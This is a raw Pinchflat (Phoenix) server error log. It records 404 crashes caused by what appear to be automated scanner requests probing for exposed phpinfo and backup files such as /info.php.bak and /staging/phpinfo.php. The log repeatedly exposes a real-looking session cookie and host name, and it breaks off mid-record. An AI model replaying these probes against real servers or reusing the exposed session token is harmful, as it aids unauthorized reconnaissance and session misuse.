%Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 254, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3558.0>, params: %{}, path_info: ["info.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/info.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7JwtidCQr9gAAT9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 254, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 254, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, ha (truncated) 02:10:26.037 [info] GET /phpinfo.php.save 02:10:26.037 [debug] QUERY OK source="settings" db=0.2ms idle=125.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.037 [debug] QUERY OK source="settings" db=0.1ms idle=125.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.037 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.038 [error] #PID<0.3559.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 255) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /phpinfo.php.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 255, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3559.0>, params: %{}, path_info: ["phpinfo.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/phpinfo.php.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7J_48zQa7KMAAT-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 255, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 255, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDW (truncated) 02:10:26.103 [info] GET /staging/phpinfo.php 02:10:26.103 [debug] QUERY OK source="settings" db=0.1ms idle=140.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.103 [debug] QUERY OK source="settings" db=0.0ms idle=129.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.103 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.103 [error] #PID<0.3560.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 256) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /staging/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /staging/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/staging/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 256, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3560.0>, params: %{}, path_info: ["staging", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/staging/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7KPm_LGHGNUAAT_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/staging/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 256, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /staging/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/staging/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 256, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW- (truncated) 02:10:26.162 [info] GET /beta/phpinfo.php 02:10:26.162 [debug] QUERY OK source="settings" db=0.1ms idle=188.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.163 [debug] QUERY OK source="settings" db=0.0ms idle=125.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.163 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.163 [error] #PID<0.3561.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 257) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /beta/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /beta/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/beta/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 257, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3561.0>, params: %{}, path_info: ["beta", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", 